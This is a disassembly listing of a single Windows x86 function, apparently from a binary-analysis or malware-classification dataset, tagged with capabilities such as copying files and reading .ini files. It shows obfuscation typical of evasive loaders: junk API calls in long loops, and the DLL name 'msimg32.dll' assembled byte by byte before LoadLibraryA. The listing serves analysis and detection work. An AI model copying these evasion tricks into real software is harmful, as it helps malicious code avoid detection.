Function at 0x409460
Capabilities:
Copy file
Get common file path
Read .ini file
Terminate thread

Disassembly:
sub esp, 0xa34
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DebugBreak]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
xor edi, edi
mov edi, edi
push 0
call esi
cmp dword [0x45fa84], 0x16
jne 0x4094b1
push 0
push 0
call ebx
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
call esi
cmp dword [0x45fa84], 0x9e
jne 0x4094e8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea eax, [esp + 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
cmp edi, 0x3775ee
jg 0x4094f9
inc edi
cmp edi, 0x332beaf6
jl 0x409480
mov edx, dword [0x45fa84]
mov eax, dword [0x442ee0]
push 0x427010
push edx
push eax
call fcn.004090a0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
xor esi, esi
mov edi, edi
cmp dword [0x45fa84], 0x10
jne 0x409543
push 0
call edi
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call ebx
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
cmp esi, 0x1e673
jne 0x409550
call fcn.00409360
inc esi
cmp esi, 0x3e79e
jl 0x409520
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov dword [esp + 0x10], 0xdd9a7
lea esp, [esp]
cmp dword [0x45fa84], 0xc01
jne 0x4095c0
push 0
push 0
call esi
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
lea eax, [esp + 0x248]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x28]
push ecx
push 0
call ebp
sub dword [esp + 0x10], 1
jne 0x409580
mov cl, 0x6d
mov al, 0x6c
push 0x438828
mov byte [0x438828], cl
mov byte [0x438829], 0x73
mov byte [0x438832], al
mov byte [0x43882e], 0x32
mov byte [0x43882a], 0x69
mov byte [0x43882d], 0x33
mov byte [0x438833], 0
mov byte [0x43882c], 0x67
mov byte [0x438830], 0x64
mov byte [0x43882b], cl
mov byte [0x438831], al
mov byte [0x43882f], 0x2e
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x45fa84], 0x1144
pop edi
pop esi
pop ebp
pop ebx
jne 0x4096c3
push 0x401384
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
push 0
push 0
lea edx, [esp + 0x23c]
push edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push 0
push 0
push 0
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0
push 0
push 0x401390
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
push 0
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push 0
push 0
push 0
lea edx, [esp + 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
xor eax, eax
add esp, 0xa34
ret